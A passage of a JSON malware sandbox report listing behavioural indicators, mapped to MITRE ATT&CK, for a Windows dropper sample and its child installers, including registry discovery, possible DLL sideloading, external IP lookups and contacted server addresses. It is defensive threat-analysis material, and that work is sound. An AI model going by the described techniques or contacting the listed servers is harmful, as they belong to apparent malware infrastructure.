00000000-00003572.00000001.84328.0040A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-413","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \"InstallSetup9.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"InstallSetup9.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \"288c47bbc1871b439df19ff4df68f076.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"BroomSetup.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve configuration of a workstation (API string)","description":"Found reference to API \"NetWkstaGetInfo\" (Indicator: \"NetWkstaGetInfo\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-451","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve environment variable settings","description":"Found string \"set\" (Indicator: \"set\"; File: \"screen_1.png\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-326","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"FileTimeToLocalFileTime\" (Indicator: \"FileTimeToLocalFileTime\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine timezone (API string)","description":"Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"c:\\windows\\rss\\csrss.exeGetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp\")\n Found reference to API \"c:\\windows\\rss\\csrss.exeGetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00002516.00000001.83576.0B880000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-248","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"$38","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve path in which Windows is installed (API string)","description":"Found reference to API \"GetWindowsDirectoryW\" (Indicator: \"GetWindowsDirectory\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"GetWindowsDirectoryW\" (Indicator: \"GetWindowsDirectory\"; Source: \"00000000-00003572.00000000.82404.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-312","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"$39","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"GetStartupInfoA\" (Indicator: \"GetStartupInfo\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve volume information (API string)","description":"Found reference to API \"GetVolumeInformationW\" (Indicator: \"GetVolumeInformation\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-162","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Environment Awareness","name":"Possible DLL sideloading","description":"Possible dll side loading: %TEMP%\\NSS9B66.TMP\\INETC.DLL\n %TEMP%\\NSS9B66.TMP\\MATH.DLL","origin":"Indicator Combinations","mitre_attack_id":"T1574.001","relevance":5,"id":"summary-47","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$3a","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Environment Awareness","name":"Queries for Borland Delphi related registry entry","description":"\"BroomSetup.exe\" (Access type: \"OPEN\"; Path: \"HKCU\\SOFTWARE\\BORLAND\\DELPHI\\LOCALES\"; Key: \"\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-138","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\" queries volume information of \"C:\\d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\" at 00000000-00001156-0000010C-3009929","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"InstallSetup9.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"288c47bbc1871b439df19ff4df68f076.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"BroomSetup.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"InstallSetup9.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"288c47bbc1871b439df19ff4df68f076.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\INSTALLSETUP9.EXE\")\n \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\INSTALLSETUP9.EXE\")\n \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\288C47BBC1871B439DF19FF4DF68F076.EXE\")\n \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\288C47BBC1871B439DF19FF4DF68F076.EXE\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Environment Awareness","name":"References to WMI query strings used for process discovery","description":"Found string \"SELECT Name FROM Win32_Processor\" (Indicator: \" Win32_Process\"; Source: \"00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp\")\n Found string \"SELECT Name FROM Win32_Processor\" (Indicator: \" Win32_Process\"; Source: \"00000000-00002516.00000001.83576.0B880000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-513","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert - External IP Lookup","description":"Detected alert \"ET INFO External IP Lookup Domain (iplogger .com in TLS SNI)\" (SID: 2047718, Rev: 6, Severity: 2) categorized as \"Device Retrieving External IP Address Detected\"\n Detected alert \"ET INFO External IP Lookup (ipify .org)\" (SID: 2029622, Rev: 2, Severity: 1) categorized as \"Potential Corporate Privacy Violation\"","origin":"Suricata Alerts","mitre_attack_id":"T1016","relevance":3,"id":"suricata-4","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":".NET code is able to query registry","description":"Observed namespace \"Microsoft.Win32.RegistryKey\" and TypeReference \"OpenSubKey\" in \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\"","origin":"Static Parser","mitre_attack_id":"T1012","relevance":5,"id":"static-138","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"General","name":"Able to create/load registry keys (API string)","description":"Found registry modification API: \"RegConnectRegistryW\" in file \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\"\n Found registry modification API: \"RegCreateKeyExW\" in file \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\"\n Found registry modification API: \"RegLoadKeyW\" in file \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\"\n Found registry modification API: \"RegCreateKeyExW\" in \"00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp\"\n Found registry modification API: \"RegCreateKeyExW\" in \"00000000-00002516.00000001.83576.0B880000.00000004.mdmp\"\n Found registry modification API: \"RegCreateKeyExW\" in \"00000000-00003572.00000000.82404.00408000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"General","name":"Able to enumerate service (API string)","description":"Found reference to API \"OpenSCManagerW\" (Indicator: \"OpenSCManager\"; Source: \"00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp\")\n Found reference to API \"QueryServiceStatusEx\" (Indicator: \"QueryServiceStatus\"; Source: \"00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp\")\n Found reference to API \"QueryServiceStatusEx\" (Indicator: \"QueryServiceStatus\"; Source: \"00000000-00002516.00000001.83576.0B880000.00000004.mdmp\")\n Found reference to API \"OpenSCManagerW\" (Indicator: \"OpenSCManager\"; Source: \"00000000-00002516.00000001.83576.0B880000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-191","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"General","name":"Able to rename or move file/directory (API string)","description":"Found string \"MoveFileW\" (Indicator: \"MoveFileW\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found string \"MoveFileExW\" (Indicator: \"MoveFileExW\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found string \"MoveFileW\" (Indicator: \"MoveFileW\"; Source: \"00000000-00003572.00000000.82404.00408000.00000002.mdmp\")\n Found string \"MoveFileExW\" (Indicator: \"MoveFileExW\"; Source: \"00000000-00003572.00000000.82404.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-884","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"General","name":"Able to retrieve command line parameters of the running process","description":"file/memory contains long string(File: \"Math.dll\")\n Found string \"GetCommandLineW\" (Source: \"00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp\")\n Found string \"GetCommandLineW\" (Source: \"00000000-00002516.00000000.82526.0B880000.00000004.mdmp, 00000000-00002516.00000001.83576.0B880000.00000004.mdmp\")\n Found string \"GetCommandLineW\" (Source: \"00000000-00003572.00000000.82404.00408000.00000002.mdmp\")\n Found string \"GetCommandLineA\" (Source: \"00000000-00003572.00000002.84706.0040A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-930","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"General","name":"Able to retrieve/open a process (API string)","description":"Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$3b","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"$3c","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\" called \"CreateProcessW\" with parameter \"\"%TEMP%\\InstallSetup9.exe\"\" - (UID: 00000000-00001156)\n \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\" called \"CreateProcessW\" with parameter \"\"%TEMP%\\288c47bbc1871b439df19ff4df68f076.exe\"\" - (UID: 00000000-00001156)\n \"InstallSetup9.exe\" called \"CreateProcessW\" with parameter \"%TEMP%\\BroomSetup.exe\" - (UID: 00000000-00003572)\n \"InstallSetup9.exe\" called \"CreateProcessW\" with parameter \"%TEMP%\\nsdD00E.tmp\" - (UID: 00000000-00003572)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$3d","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"details too long to display","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"api.ipify.org\"\n \"c.pki.goog\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"104.26.13.205:80\"\n \"91.92.255.226:80\"\n \"185.172.128.53:80\"\n \"5.42.64.35:80\"\n \"172.67.188.178:443\"\n \"142.250.217.227:80\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Contains ability to close a handle to a service (API string)","description":"Found reference to API \"CloseServiceHandle\" (Indicator: \"CloseServiceHandle\"; Source: \"00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp\")\n Found reference to API \"CloseServiceHandle\" (Indicator: \"CloseServiceHandle\"; Source: \"00000000-00002516.00000001.83576.0B880000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-242","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; Source: \"00000000-00003572.00000000.82404.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"FtpCreateDirectoryW\" (Indicator: \"CreateDirectory\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00003572.00000000.82404.00408000.00000002.mdmp\")\n Found reference to API \"FtpCreateDirectoryW\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000000.82404.10001000.00000020.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"$3e","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegUnLoadKeyW\" (Indicator: \"RegUnLoadKey\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00002516.00000001.83576.0B880000.00000004.mdmp\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00003572.00000000.82404.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically determine API calls","description":"Found GetProcAddress() and LoadLibraryA() in an import section (Source: BroomSetup.exe)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: 288c47bbc1871b439df19ff4df68f076.exe)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: Math.dll)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: INetC.dll)","origin":"Static Parser","mitre_attack_id":"T1027.007","relevance":1,"id":"static-79","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"details too long to display","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"$3f","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"LockResource\" (Indicator: \"LockResource\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"SizeofResource\" (Indicator: \"SizeofResource\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"FreeResource\" (Indicator: \"FreeResource\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"FindResourceW\" (Indicator: \"FindResource\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Contains ability to move file or directory (API string)","description":"Found reference to API \"MoveFileW\" (Indicator: \"MoveFile\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"MoveFileExW\" (Indicator: \"MoveFile\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"MoveFileW\" (Indicator: \"MoveFile\"; Source: \"00000000-00003572.00000000.82404.00408000.00000002.mdmp\")\n Found reference to API \"MoveFileExW\" (Indicator: \"MoveFile\"; Source: \"00000000-00003572.00000000.82404.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-322","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00002516.00000000.82526.0B880000.00000004.mdmp, 00000000-00002516.00000001.83576.0B880000.00000004.mdmp\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00003572.00000000.82404.00408000.00000002.mdmp\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00003572.00000002.84706.0040A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"SuspendThread\" (Indicator: \"SuspendThread\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00003572.00000000.82404.00408000.00000002.mdmp, 00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000000.82404.10001000.00000020.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp\")\n Found reference to API \"CreateThread Error\" (Indicator: \"CreateThread\"; Source: \"00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Contains ability to set file attributes (Dotnet)","description":"Observed Namespace \"System.IO.File\" and 